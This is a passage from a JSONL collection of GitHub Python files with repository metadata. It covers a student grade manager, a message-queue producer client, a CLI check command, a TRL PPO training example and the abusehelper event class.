continue\n        else:\n            break\n\n    #调用save()函数\n    save(student_list)\n    print('学生信息录入完毕！！！')\n\ndef save(lst):\n    try:\n        stu_txt = open(filename,'a',encoding ='utf-8')\n    except:\n        stu_txt = open(filename,'w',encoding ='utf-8')\n    for item in lst:\n        stu_txt.write(str(item)+'\\n')\n\ndef search():\n    student_query =[]\n    while True:\n        id = ''\n        name = ''\n        if os.path.exists(filename):\n            mode = input('按id查找请输入1，按姓名查找请输入2：')\n            if mode == '1':\n                id = input('请输入学生id')\n            elif mode=='2':\n                name = input('请输入学生姓名')\n            else:\n                print('您输入的信息有误，请重新输入')\n                search()\n            with open(filename,'r',encoding='utf-8') as rfile:\n                student = rfile.readlines()\n                for item in student:\n                    d = dict(eval(item))\n                    if id !='':\n                        if d['id'] == id:\n                            student_query.append(d)\n                    elif name!='':\n                        if d['name'] ==name:\n                            student_query.append(d)\n            #显示查询结果\n            show_student(student_query)\n            #清空列表\n            student_query.clear()\n            anwser = input('是否继续查询？y/n\\n')\n            if anwser == 'y' or anwser == 'Y':\n                continue\n            else:\n                break\n        else:\n            print('暂未保存学生信息')\n            return\ndef show_student(lst):\n    if len(lst) == 0:\n        print('没有查询到学生信息，无数据显示')\n        return\n    #定义标题显示格式\n    format_title = '{:^6}\\t{:^12}\\t{:^8}\\t{:^10}\\t{:^10}\\t{:^8}'\n    print(format_title.format('id','姓名','英语成绩','python成绩','Java成绩','总成绩'))\n    #定义内容的显示格式\n    format_data = '{:^6}\\t{:^12}\\t{:^8}\\t{:^10}\\t{:^10}\\t{:^8}'\n    for item in lst:\n        print(format_data.format(item.get('id'),\n                                 item.get('name'),\n                                 item.get('english'),\n                                 item.get('python'),\n                                 item.get('java'),\n                                 int(item.get('english'))+int(item.get('python'))+int(item.get('java'))\n                                 ))\n\n\ndef delete():\n    while True:\n        student_id = input('请输入要删除的学生id：')\n        if student_id !='':\n            if os.path.exists(filename):\n                with open(filename,'r',encoding='utf-8') as file:\n                    student_old = file.readlines()\n            else:\n                student_old = []\n            flag = False #标记是否删除\n            if student_old:\n                with open(filename ,'w',encoding='utf-8') as wfile:\n                    d={}\n                    for item in student_old:\n                        d= dict(eval(item))\n                        if d['id']!=student_id:\n                            wfile.write(str(d)+'\\n')\n                        else:\n                            flag = True\n                    if flag:\n                        print(f'id为{student_id}的学生信息已被删除')\n                    else:\n                        print(f'没有找到id为{student_id}的学生信息')\n            else:\n                print('无学生信息')\n                break\n            show() #删除之后要重新显示所有学生信息\n            answer = input('是否继续删除？y/n\\n')\n            if answer == 'y' or answer == 'Y':\n                continue\n            else:\n                break\n\ndef modify():\n    show()\n    if os.path.exists(filename):\n        with open(filename,'r',encoding='utf-8') as rfile:\n            student_old = rfile.readlines()\n    else:\n        return\n    student_id = input('请输入要修改的学生id')\n    with open(filename,'w',encoding='utf8') as wfile:\n        for item in student_old:\n            d=dict(eval(item))\n            if d['id'] == student_id:\n                print(\"找到学生信息，可以修改他的相关信息了！\")\n                while True:\n                    try:\n                        d['name'] = input('请输入姓名：')\n                        d['english'] = input('请输入英语成绩：')\n                        d['python'] = input('请输入python成绩：')\n                        d['java'] = input('请输入java成绩：')\n                    except:\n                        print('您的输入有误！！！')\n                    else:\n                        break\n                wfile.write(str(d)+'\\n')\n                print('修改成功！！！')\n            else:\n                wfile.write(str(d)+'\\n')\n        answer = input('是否继续修改？y/n\\n')\n        if answer == 'y' or answer == 'Y':\n            modify()\n\ndef sort():\n    show()\n    if os.path.exists(filename):\n        with open(filename,'r',encoding='utf-8') as rfile:\n            student_list = rfile.readlines()\n        student_new = []\n        for item in student_list:\n            d = dict(eval(item))\n            student_new.append(d)\n    else:\n        return\n    asc_or_desc = input('请选择（0.升序 1.降序）')\n    if asc_or_desc == '0':\n        asc_or_desc_bool =False\n    elif asc_or_desc == '1':\n        asc_or_desc_bool = True\n    else:\n        print('您输入的有误，请重新输入')\n        sort()\n    mode = input('请选择排序方法：1.按英语成绩排序；2.按python成绩排序；3.按java成绩排序 0.按总成绩排序')\n    if mode == '1':\n        student_new.sort(key=lambda x :int(x['english']),reverse = asc_or_desc_bool)\n    elif mode == '2':\n        student_new.sort(key=lambda x :int(x['python']),reverse = asc_or_desc_bool)\n    elif mode =='3':\n        student_new.sort(key=lambda x :int(x['java']),reverse = asc_or_desc_bool)\n    elif mode == '0':\n        student_new.sort(key=lambda x :int(x['english'])+int(x['python'])+int(x['java']),reverse = asc_or_desc_bool)\n    else:\n        print('您的输入有误，请重新输入！！！')\n        sort()\n    show_student(student_new)\ndef tital():\n    if os.path.exists(filename):\n        with open(filename,'r',encoding='utf-8') as rfile:\n            students = rfile.readlines()\n            if students:\n                print(f'一共有{len(students)}名学生')\n            else:\n                print('还没有录入学生信息')\n    else:\n        print('暂未保存数据信息')\n\ndef show():\n    student_list = []\n    if os.path.exists(filename):\n        with open(filename,'r',encoding='utf-8') as rfile:\n            students = rfile.readlines()\n        for item in students:\n            student_list.append(eval(item))\n        if student_list:\n            show_student(student_list)\n    else:\n        print('暂未保存数据信息！！！')\n\nmain()\n","repo_name":"Jianjianw6/python_studentsysytem","sub_path":"studentsystem/stusystem.py","file_name":"stusystem.py","file_ext":"py","file_size_in_byte":9214,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"671641169","text":"import socket\nfrom message import Message\n\n\nclass ThrustMQProducer:\n\n    def __init__(self, host=\"localhost\", port=1888):\n        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n        self.sock.connect((host, port))\n\n    def send_message(self, message):\n        self.sock.sendall(message.bucket_id.to_bytes(8, byteorder='little'))\n        self.sock.sendall(message.length.to_bytes(4, byteorder='little'))\n        self.sock.sendall(message.data)\n\n    def send(self, messages):\n        if not isinstance(messages, list):\n            messages = [messages]\n\n        batch_size = len(messages)\n\n        self.sock.sendall(batch_size.to_bytes(4, byteorder='little'))\n\n        for message in messages:\n            self.send_message(message)\n\n        result = self.sock.recv(message.length)\n","repo_name":"rambler-digital-solutions/thrustmq","sub_path":"clients/python/thrustmq/producer.py","file_name":"producer.py","file_ext":"py","file_size_in_byte":798,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"77"}
+{"seq_id":"16608721026","text":"from adoctor_cli.base_cmd import BaseCommand\nfrom aops_utils.restful.helper import make_check_url\nfrom aops_utils.conf.constant import CHECK_GET_RESULT\nfrom aops_utils.time_utils import time_transfer\nfrom aops_utils.validate import name_check, str_split\nfrom aops_utils.cli_utils import add_page, add_access_token, add_query_args\nfrom aops_utils.cli_utils import add_start_and_end, request_without_print, pretty_json\n\n\nclass CheckCommand(BaseCommand):\n    \"\"\"\n    Description: start the check part\n    Attributes:\n        sub_parse: Subcommand parameters\n        params: Command line parameters\n    \"\"\"\n\n    def __init__(self):\n        \"\"\"\n        Description: Instance initialization\n        \"\"\"\n        super().__init__()\n        self.add_subcommand(sub_command='check',\n                            help_desc=\"check operations\")\n        self.sub_parse.add_argument(\n            '--host_list',\n            nargs='?',\n            type=str,\n            help='host ips')\n\n        self.sub_parse.add_argument(\n            '--check_items',\n            nargs='?',\n            type=str,\n            help='ckeck items')\n\n        add_start_and_end(self.sub_parse)\n        add_access_token(self.sub_parse)\n        add_query_args(self.sub_parse, ['check_item', 'start', 'end'])\n        add_page(self.sub_parse)\n\n    def do_command(self, params):\n        \"\"\"\n        Description: Executing command\n        Args:\n            params: Command line parameters\n        \"\"\"\n        self.manage_requests_check(params)\n\n    @staticmethod\n    def manage_requests_check(params):\n        \"\"\"\n        Description: Executing check command\n        Args:\n            params: Command line parameters\n        Returns:\n            dict: body of response\n        \"\"\"\n\n        hosts = str_split(params.host_list)\n        checks = str_split(params.check_items)\n        name_check(hosts)\n        name_check(checks)\n        time_list = time_transfer(params.start, params.end)\n\n        pyload = {\n            \"time_range\": [time_list[0], time_list[1]],\n            \"check_items\": checks,\n            \"host_list\": hosts,\n            \"page\": params.page,\n            \"per_page\": params.per_page\n        }\n        if params.sort is not None:\n            pyload['sort'] = params.sort\n            pyload['direction'] = params.direction\n        check_url, header = make_check_url(CHECK_GET_RESULT)\n        result = request_without_print('POST', check_url, pyload, header, params.access_token)\n        print(pretty_json(result))\n","repo_name":"openeuler-mirror/A-Ops","sub_path":"adoctor-cli/adoctor_cli/commands/check_cmd.py","file_name":"check_cmd.py","file_ext":"py","file_size_in_byte":2487,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"77"}
+{"seq_id":"25136034471","text":"# imports\nimport torch\nfrom transformers import AutoTokenizer\nfrom trl import PPOTrainer, PPOConfig, AutoModelForCausalLMWithValueHead, create_reference_model\nfrom trl.core import respond_to_batch\n\n# get models\nmodel = AutoModelForCausalLMWithValueHead.from_pretrained('gpt2')\nmodel_ref = create_reference_model(model)\n\ntokenizer = AutoTokenizer.from_pretrained('gpt2')\ntokenizer.pad_token = tokenizer.eos_token\n\n# initialize trainer\nppo_config = PPOConfig(\n    batch_size=1,\n)\n\n# encode a query\nquery_txt = \"This morning I went to the \"\nquery_tensor = tokenizer.encode(query_txt, return_tensors=\"pt\")\n\n# get model response\nresponse_tensor  = respond_to_batch(model, query_tensor)\n\n# create a ppo trainer\nppo_trainer = PPOTrainer(ppo_config, model, model_ref, tokenizer)\n\n# define a reward for response\n# (this could be any reward such as human feedback or output from another model)\nreward = [torch.tensor(1.0)]\n\n# train model for one step with ppo\ntrain_stats = ppo_trainer.step([query_tensor[0]], [response_tensor[0]], reward)\n\nfrom pprint import pprint\npprint(train_stats)\n\n\n","repo_name":"corradomio/python_projects","sub_path":"check_hf_llma/check_trl.py","file_name":"check_trl.py","file_ext":"py","file_size_in_byte":1079,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"8155116266","text":"import re\nimport hashlib\nimport inspect\nimport collections\n\nfrom base64 import b64decode\n\nimport idiokit\nfrom idiokit.xmlcore import Element, Elements\n\n\ndef _replace_non_xml_chars(unicode_obj, replacement=u\"\\ufffd\"):\n    return _NON_XML.sub(replacement, unicode_obj)\n\n\n_NON_XML = re.compile(u\"[\\x00-\\x08\\x0b\\x0c\\x0e-\\x1f\\ud800-\\udfff\\ufffe\\uffff]\", re.U)\n\n\ndef _normalize(value):\n    \"\"\"Return the value converted to unicode. Raise a TypeError if the\n    value is not a string.\n\n    >>> _normalize(\"a\")\n    u'a'\n    >>> _normalize(u\"b\")\n    u'b'\n    >>> _normalize(1)\n    Traceback (most recent call last):\n        ...\n    TypeError: expected a string value, got the value 1 of type int\n\n    When converting str objects the default encoding is tried, and an\n    UnicodeDecodeError is raised if the value can not bot converted.\n\n    >>> _normalize(\"\\\\xe4\")\n    Traceback (most recent call last):\n        ...\n    UnicodeDecodeError: ...\n    \"\"\"\n\n    if isinstance(value, basestring):\n        return unicode(value)\n\n    name = type(value).__name__\n    module = inspect.getmodule(value)\n    if module is not None and module.__name__ != \"__builtin__\":\n        name = module.__name__ + \".\" + name\n    msg = \"expected a string value, got the value %r of type %s\" % (value, name)\n    raise TypeError(msg)\n\n\nEVENT_NS = \"abusehelper#event\"\n\n\ndef _unicode_quote(string):\n    r\"\"\"\n    >>> _unicode_quote(u\"a\")\n    u'a'\n    >>> _unicode_quote(u\"=\")\n    u'\"=\"'\n    >>> _unicode_quote(u\"\\n\")\n    u'\"\\n\"'\n    \"\"\"\n\n    if _UNICODE_QUOTE_CHECK.search(string):\n        return u'\"' + _UNICODE_QUOTE.sub(r'\\\\\\g<0>', string) + u'\"'\n    return string\n\n\n_UNICODE_QUOTE_CHECK = re.compile(r'[\\s\"\\\\,=]', re.U)\n_UNICODE_QUOTE = re.compile(r'[\"\\\\]', re.U)\n\n\ndef _unicode_parse_part(string, start):\n    match = _UNICODE_PART.match(string, start)\n    quoted, unquoted = match.groups()\n    end = match.end()\n\n    if quoted is not None:\n        return _UNICODE_UNQUOTE.sub(\"\\\\1\", quoted), end\n    if unquoted is not None:\n        return unquoted, end\n    return u\"\", end\n\n\n_UNICODE_UNQUOTE = re.compile(r'\\\\(.)', re.U)\n_UNICODE_PART = re.compile(r'\\s*(?:(?:\"((?:\\\\.|[^\"])*)\")|([^\\s\"=,]+)|)\\s*', re.U)\n\n\nclass Event(object):\n    __slots__ = [\"_attrs\"]\n\n    _UNDEFINED = object()\n\n    @classmethod\n    def _itemize(cls, *args, **keys):\n        result = dict()\n\n        for obj in args + (keys,):\n            if type(obj) == Event:\n                for key, values in obj._attrs.iteritems():\n                    if key not in result:\n                        result[key] = values.copy()\n                    else:\n                        result[key].update(values)\n                continue\n\n            if hasattr(obj, \"iteritems\"):\n                obj = obj.iteritems()\n            elif hasattr(obj, \"items\"):\n                obj = obj.items()\n\n            for key, values in obj:\n                if isinstance(values, basestring):\n                    values = (_normalize(values),)\n                else:\n                    values = (_normalize(x) for x in values)\n\n                key = _normalize(key)\n                if key not in result:\n                    result[key] = set(values)\n                else:\n                    result[key].update(values)\n\n        return result\n\n    @classmethod\n    def from_unicode(cls, string):\n        r\"\"\"\n        >>> event = Event({\"a\": \"b\"})\n        >>> Event.from_unicode(unicode(event)) == event\n        True\n\n        >>> event = event.union({u'=': u'\"'})\n        >>> Event.from_unicode(unicode(event)) == event\n        True\n\n        Regression test: Check that character escaping\n        doesn't mess up parsing.\n\n        >>> event = Event({\n        ...     u\"x\": u\"\\\\\",\n        ...     u\"y\": u\"b\"\n        ... })\n        >>> Event.from_unicode(ur'x=\"\\\\\", \"y\"=b') == event\n        True\n        \"\"\"\n\n        string = string.strip()\n        if not string:\n            return cls()\n\n        attrs = collections.defaultdict(list)\n\n        index = 0\n        length = len(string)\n        while True:\n            key, index = _unicode_parse_part(string, index)\n            if index >= length:\n                raise ValueError(\"unexpected string end\")\n            if string[index] != u\"=\":\n                raise ValueError(\"unexpected character %r at index %d\" %\n                                 (string[index], index))\n            index += 1\n\n            value, index = _unicode_parse_part(string, index)\n            attrs[key].append(value)\n\n            if index >= length:\n                return cls(attrs)\n\n            if string[index] != u\",\":\n                raise ValueError(\"unexpected character %r at index %d\" %\n                                 (string[index], index))\n            index += 1\n\n    @classmethod\n    def from_elements(self, elements):\n        \"\"\"Yield events parsed from XML element(s).\n\n        >>> element = Element(\"message\")\n        >>> list(Event.from_elements(element))\n        []\n        >>> element.add(Element(\"event\", xmlns=EVENT_NS))\n        >>> list(Event.from_elements(element)) == [Event()]\n        True\n\n        >>> event = Event({u\"\\\\uffff\": u\"\\\\x05\"}) # include some forbidden XML chars\n        >>> element = Element(\"message\")\n        >>> element.add(event.to_elements())\n        >>> list(Event.from_elements(element)) == [Event({u\"\\\\ufffd\": u\"\\\\ufffd\"})]\n        True\n        \"\"\"\n\n        # Future event format\n        for event_element in elements.children(\"e\", EVENT_NS):\n            attrs = collections.defaultdict(list)\n            for key_element in event_element.children(\"k\").with_attrs(\"a\"):\n                key = b64decode(key_element.get_attr(\"a\")).decode(\"utf-8\")\n                for value_element in key_element.children(\"v\").with_attrs(\"a\"):\n                    value = b64decode(value_element.get_attr(\"a\")).decode(\"utf-8\")\n                    attrs[key].append(value)\n            yield Event(attrs)\n\n        # Legacy event format\n        for event_element in elements.children(\"event\", EVENT_NS):\n            attrs = collections.defaultdict(list)\n            for attr in event_element.children(\"attr\").with_attrs(\"key\", \"value\"):\n                key = attr.get_attr(\"key\")\n                value = attr.get_attr(\"value\")\n                attrs[key].append(value)\n            yield Event(attrs)\n\n    def __init__(self, *args, **keys):\n        \"\"\"\n        Regression test: Keep the the correct internal encoding in the\n        copy/merge constructor.\n\n        >>> event = Event({u\"\\xe4\": u\"\\xe4\"})\n        >>> Event(event).items()\n        ((u'\\\\xe4', u'\\\\xe4'),)\n        \"\"\"\n\n        self._attrs = self._itemize(*args, **keys)\n\n    def union(self, *args, **keys):\n        \"\"\"Return a new event that contains all key-value pairs from\n        appearing in the original event and/or Event(*args, **keys).\n\n        >>> sorted(Event(a=[\"1\", \"2\"]).union(a=[\"1\", \"3\"]).items())\n        [(u'a', u'1'), (u'a', u'2'), (u'a', u'3')]\n        \"\"\"\n\n        return type(self)(self, *args, **keys)\n\n    def difference(self, *args, **keys):\n        \"\"\"Return a new event that contains all key-value pairs\n        from the original event except those also appearing in\n        Event(*args, **keys).\n\n        >>> sorted(Event(a=[\"1\", \"2\"]).difference(a=[\"1\", \"3\"]).items())\n        [(u'a', u'2')]\n        \"\"\"\n\n        other = self._itemize(*args, **keys)\n        result = dict()\n        for key, values in self._attrs.iteritems():\n            diff = values.difference(other.get(key, ()))\n            if diff:\n                result[key] = diff\n        return type(self)(result)\n\n    def add(self, key, value, *values):\n        \"\"\"Add value(s) for a key.\n\n        >>> event = Event()\n        >>> event.add(\"key\", \"1\")\n        >>> event.values(\"key\")\n        (u'1',)\n\n        More than one value can be added with one call.\n\n        >>> event = Event()\n        >>> event.add(\"key\", \"1\", \"2\")\n        >>> sorted(event.values(\"key\"))\n        [u'1', u'2']\n\n        Key-value pairs is already contained by the event are ignored.\n\n        >>> event = Event()\n        >>> event.add(\"key\", \"1\")\n        >>> event.values(\"key\")\n        (u'1',)\n        >>> event.add(\"key\", \"1\")\n        >>> event.values(\"key\")\n        (u'1',)\n        \"\"\"\n\n        self.update(key, (value,) + values)\n\n    def update(self, key, values):\n        \"\"\"Update the values of a key.\n\n        >>> event = Event()\n        >>> event.update(\"key\", [\"1\", \"2\"])\n        >>> sorted(event.values(\"key\"))\n        [u'1', u'2']\n\n        The event will not be modified if there are no values to add.\n\n        >>> event = Event()\n        >>> event.update(\"key\", [])\n        >>> event.contains(\"key\")\n        False\n        \"\"\"\n\n        key = _normalize(key)\n        if key not in self._attrs:\n            self._attrs[key] = set()\n        self._attrs[key].update(_normalize(value) for value in values)\n\n    def discard(self, key, value, *values):\n        \"\"\"Discard some value(s) of a key.\n\n        >>> event = Event()\n        >>> event.add(\"key\", \"1\", \"2\", \"3\")\n        >>> event.discard(\"key\", \"1\", \"3\")\n        >>> event.values(\"key\")\n        (u'2',)\n\n        Values that don't exist for the given key are silently ignored.\n\n        >>> event = Event()\n        >>> event.add(\"key\", \"2\")\n        >>> event.discard(\"key\", \"1\", \"2\")\n        >>> event.values(\"key\")\n        ()\n        \"\"\"\n\n        key = _normalize(key)\n        if key not in self._attrs:\n            return\n        valueset = self._attrs[key]\n        valueset.difference_update(_normalize(value) for value in (value,) + values)\n        if not valueset:\n            del self._attrs[key]\n\n    def clear(self, key):\n        \"\"\"Clear all values of a key.\n\n        >>> event = Event()\n        >>> event.add(\"key\", \"1\")\n        >>> event.clear(\"key\")\n        >>> event.contains(\"key\")\n        False\n\n        Clearing keys that do not exist does nothing.\n\n        >>> event = Event()\n        >>> event.clear(\"key\")\n        \"\"\"\n\n        key = _normalize(key)\n        self._attrs.pop(key, None)\n\n    def _unkeyed(self):\n        for values in self._attrs.itervalues():\n            for value in values:\n                yield value\n\n    def _iter(self, key, parser, filter):\n        if key is self._UNDEFINED:\n            values = set(self._unkeyed())\n        else:\n            key = _normalize(key)\n            values = self._attrs.get(key, ())\n\n        if parser is not None:\n            parsed = (parser(x) for x in values)\n\n            if filter is not None:\n                return (x for x in parsed if filter(x))\n            else:\n                return (x for x in parsed if x is not None)\n\n        if filter is not None:\n            return (x for x in values if filter(x))\n\n        return values\n\n    def pop(self, key, parser=None, filter=None):\n        \"\"\"Pop value(s) of a key and clear them.\n        >>> event = Event()\n        >>> event.add(\"key\", \"y\", \"x\", \"1.2.3.4\")\n        >>> sorted(event.pop(\"key\"))\n        [u'1.2.3.4', u'x', u'y']\n        >>> event.contains(\"key\")\n        False\n\n        Perform parsing, validation and filtering by passing in\n        parsing and filtering functions. Only values that match\n        are cleared from the event. Values that do not match\n        are preserved.\n\n        >>> def int_parse(string):\n        ...     try:\n        ...         return int(string)\n        ...     except ValueError:\n        ...         return None\n        >>> event = Event()\n        >>> event.add(\"key\", \"1\", \"a\")\n        >>> sorted(event.pop(\"key\", parser=int_parse))\n        [1]\n        >>> sorted(event.values(\"key\"))\n        [u'a']\n        \"\"\"\n\n        key = _normalize(key)\n        values = tuple(self._attrs.get(key, ()))\n\n        if parser is not None:\n            parsed = ((parser(x), x) for x in values)\n        else:\n            parsed = ((x, x) for x in values)\n\n        if filter is not None:\n            filtered = ((x, y) for (x, y) in parsed if filter(x))\n        else:\n            filtered = ((x, y) for (x, y) in parsed if x is not None)\n\n        results = []\n\n        for x, y in filtered:\n            self.discard(key, y)\n            results.append(x)\n\n        return tuple(results)\n\n    def values(self, key=_UNDEFINED, parser=None, filter=None):\n        \"\"\"Return a tuple of event values (for a specific key, if\n        given).\n\n        >>> event = Event(key=[\"1\", \"2\"], other=[\"3\", \"4\"])\n        >>> sorted(event.values())\n        [u'1', u'2', u'3', u'4']\n        >>> sorted(event.values(\"key\"))\n        [u'1', u'2']\n\n        Perform parsing, validation and filtering by passing in\n        parsing and filtering functions (by default all None objects\n        are filtered when a parsing function has been given).\n\n        >>> import socket\n        >>> def ipv4(string):\n        ...     try:\n        ...         return socket.inet_ntoa(socket.inet_aton(string))\n        ...     except socket.error:\n        ...         return None\n        >>> event = Event(key=[\"1.2.3.4\", \"abba\"], other=\"10.10.10.10\")\n        >>> event.values(\"key\", parser=ipv4)\n        ('1.2.3.4',)\n        >>> sorted(event.values(parser=ipv4))\n        ['1.2.3.4', '10.10.10.10']\n        \"\"\"\n\n        return tuple(self._iter(key, parser, filter))\n\n    def value(self, key=_UNDEFINED, default=_UNDEFINED,\n              parser=None, filter=None):\n        \"\"\"Return one event value (for a specific key, if given).\n\n        The value can be picked either from the values of some\n        specific key or amongst event values.\n\n        >>> event = Event(key=\"1\", other=\"2\")\n        >>> event.value(\"key\")\n        u'1'\n        >>> event.value() in [u\"1\", u\"2\"]\n        True\n\n        A default return value can be defined in case no suitable\n        value is available:\n\n        >>> event = Event()\n        >>> event.value(\"key\", \"default value\")\n        'default value'\n        >>> event.value(default=\"default value\")\n        'default value'\n\n        KeyError is raised if no suitable values are available and no\n        default is given.\n\n        >>> event = Event()\n        >>> event.value()\n        Traceback (most recent call last):\n            ...\n        KeyError: 'no value available'\n        >>> event.value(\"somekey\")\n        Traceback (most recent call last):\n            ...\n        KeyError: 'somekey'\n\n        As with .values(...), parsing and filtering functions can be\n        given, and they will be used to modify the results.\n\n        >>> def int_parse(string):\n        ...     try:\n        ...         return int(string)\n        ...     except ValueError:\n        ...         return None\n        >>> event = Event(key=[\"1\", \"a\"])\n        >>> event.value(parser=int_parse)\n        1\n        >>> event.value(\"key\", parser=int_parse)\n        1\n        >>> event.value(\"other\", parser=int_parse)\n        Traceback (most recent call last):\n            ...\n        KeyError: 'other'\n        \"\"\"\n\n        for value in self._iter(key, parser, filter):\n            return value\n\n        if default is self._UNDEFINED:\n            if key is self._UNDEFINED:\n                raise KeyError(\"no value available\")\n            raise KeyError(key)\n        return default\n\n    def contains(self, key=_UNDEFINED, value=_UNDEFINED,\n                 parser=None, filter=None):\n        \"\"\"Return whether the event contains a key-value pair (for\n        specific key and/or value, if given).\n\n        >>> event = Event()\n        >>> event.contains() # Does the event contain any values at all?\n        False\n\n        >>> event = event.union(key=\"1\")\n        >>> event.contains()\n        True\n        >>> event.contains(\"key\") # Any value for key \"key\"?\n        True\n        >>> event.contains(value=\"1\") # Value \"1\" for any key?\n        True\n        >>> event.contains(\"key\", \"1\") # Value \"1\" for key \"key\"?\n        True\n        >>> event.contains(\"other\", \"2\") # Value \"2\" for key \"other\"?\n        False\n\n        Parsing and filtering functions can be given to modify the results.\n\n        >>> def int_parse(string):\n        ...     try:\n        ...         return int(string)\n        ...     except ValueError:\n        ...         return None\n        >>> event.contains(parser=int_parse) # Any int value for any key?\n        True\n        >>> event.contains(\"key\", parser=int_parse) # Any int value for \"key\"?\n        True\n        >>> event.contains(value=1, parser=int_parse) # Value 1 for any key?\n        True\n        >>> event = event.union(other=\"x\")\n        >>> event.contains(\"other\", parser=int_parse)\n        False\n        \"\"\"\n\n        if key is self._UNDEFINED:\n            values = set(self._unkeyed())\n        else:\n            key = _normalize(key)\n            values = self._attrs.get(key, ())\n\n        if parser is not None:\n            parsed = (parser(x) for x in values)\n\n            if filter is not None:\n                filtered = (x for x in parsed if filter(x))\n            else:\n                filtered = (x for x in parsed if x is not None)\n        elif filter is not None:\n            filtered = (x for x in values if filter(x))\n        else:\n            filtered = values\n\n        for filtered_value in filtered:\n            if value is self._UNDEFINED or value == filtered_value:\n                return True\n        return False\n\n    def items(self, parser=None, filter=None):\n        \"\"\"Return a tuple of key-value pairs contained by the event.\n\n        >>> event = Event()\n        >>> event.items()\n        ()\n        >>> event = event.union(key=\"1\", other=[\"x\", \"y\"])\n        >>> sorted(event.items())\n        [(u'key', u'1'), (u'other', u'x'), (u'other', u'y')]\n\n        Parsing and filtering functions can be given to modify the results.\n\n        >>> def int_parse(string):\n        ...     try:\n        ...         return int(string)\n        ...     except ValueError:\n        ...         return None\n        >>> event.items(parser=int_parse)\n        ((u'key', 1),)\n\n        The order of the key-value pairs is undefined.\n        \"\"\"\n\n        result = list()\n\n        for key, values in self._attrs.iteritems():\n            for value in values:\n                if parser is not None:\n                    value = parser(value)\n                if filter is not None and not filter(value):\n                    continue\n                if filter is None and value is None:\n                    continue\n                result.append((key, value))\n\n        return tuple(result)\n\n    def keys(self, parser=None, filter=None):\n        \"\"\"Return a tuple of keys with at least one value.\n\n        >>> event = Event()\n        >>> event.keys()\n        ()\n        >>> event = event.union(key=\"1\", other=[\"x\", \"y\"])\n        >>> sorted(event.keys())\n        [u'key', u'other']\n\n        Parsing and filtering functions can be given to modify the\n        results.\n\n        >>> def int_parse(string):\n        ...     try:\n        ...         return int(string)\n        ...     except ValueError:\n        ...         return None\n        >>> sorted(event.keys(parser=int_parse))\n        [u'key']\n        \"\"\"\n\n        return tuple(key for key in self._attrs\n                     if self.contains(key, parser=parser, filter=filter))\n\n    def to_elements(self, include_body=True):\n        element = Element(\"event\", xmlns=EVENT_NS)\n\n        for key, value in self.items():\n            key = _replace_non_xml_chars(key)\n            value = _replace_non_xml_chars(value)\n            attr = Element(\"attr\", key=key, value=value)\n            element.add(attr)\n\n        if not include_body:\n            return element\n\n        body = Element(\"body\")\n        body.text = _replace_non_xml_chars(unicode(self))\n        return Elements(body, element)\n\n    def __reduce__(self):\n        return self.__class__, (self._attrs,)\n\n    def __eq__(self, other):\n        if not isinstance(other, Event):\n            return NotImplemented\n        return other._attrs == self._attrs\n\n    def __ne__(self, other):\n        value = self.__eq__(other)\n        if value is NotImplemented:\n            return NotImplemented\n        return not value\n\n    def __unicode__(self):\n        \"\"\"Return an unicode representation of the event.\n\n        >>> unicode(Event())\n        u''\n        >>> unicode(Event({\"a,\": \"b\"}))\n        u'\"a,\"=b'\n\n        The specific order of the key-value pairs is undefined.\n        \"\"\"\n\n        return u\", \".join(_unicode_quote(key) + u\"=\" + _unicode_quote(value)\n                          for (key, value) in self.items())\n\n    def __repr__(self):\n        attrs = dict()\n        for key, value in self.items():\n            attrs.setdefault(key, list()).append(value)\n        return self.__class__.__name__ + \"(\" + repr(attrs) + \")\"\n\n\ndef hexdigest(event, func=hashlib.sha1):\n    \"\"\"Return a hexadecimal digest string created by from the given event's\n    key-value pairs.\n\n    The result is guaranteed to be the same for two events e1 and e2 when\n    e1 == e2. Key-value insertion order does not affect the result.\n\n    >>> e1 = Event()\n    >>> e1.add(\"a\", \"b\")\n    >>> e1.add(\"x\", \"y\")\n    >>>\n    >>> e2 = Event()\n    >>> e2.add(\"x\", \"y\")\n    >>> e2.add(\"a\", \"b\")\n    >>>\n    >>> hexdigest(e1) == hexdigest(e2)\n    True\n\n    The result is not guaranteed to be different for two events e1 and e2\n    when e1 != e2. However such a collision is usually exceedingly unlikely\n    when a good hashing algorithm is used. SHA1 is the default, but can be\n    changed by passing in an algorithm implementation with a compatible\n    interface. For example, algorithms defined in the standard 'hashlib'\n    library are compatible.\n\n    >>> import hashlib\n    >>> hexdigest(Event(a=\"b\"), hashlib.md5)\n    '51a8ca876645d37e29419694f6396fbc'\n\n    The default hashing algorithm is NOT guaranteed to be SHA1 forever. If you\n    want to guarantee that the hexdigest is always created using e.g. SHA1,\n    pass the hash function explicitly as the second parameter:\n\n    >>> import hashlib\n    >>> hexdigest(Event(a=\"b\"), hashlib.sha1)\n    'edf6294fc1d3f9fe8be4a2d5626788bcfde05e62'\n    \"\"\"\n\n    result = func()\n\n    for key, value in sorted(event.items()):\n        result.update(key.encode(\"utf-8\"))\n        result.update(\"\\xc0\")\n        result.update(value.encode(\"utf-8\"))\n        result.update(\"\\xc0\")\n\n    return result.hexdigest()\n\n\ndef stanzas_to_events():\n    return idiokit.map(Event.from_elements)\n\n\ndef events_to_elements():\n    return idiokit.map(lambda x: (x.to_elements(),))\n","repo_name":"abusesa/abusehelper","sub_path":"abusehelper/core/events.py","file_name":"events.py","file_ext":"py","file_size_in_byte":22236,"program_lang":"python","lang":"en","doc_type":"code","stars":112,"dataset":"github-code","pt":"77"}
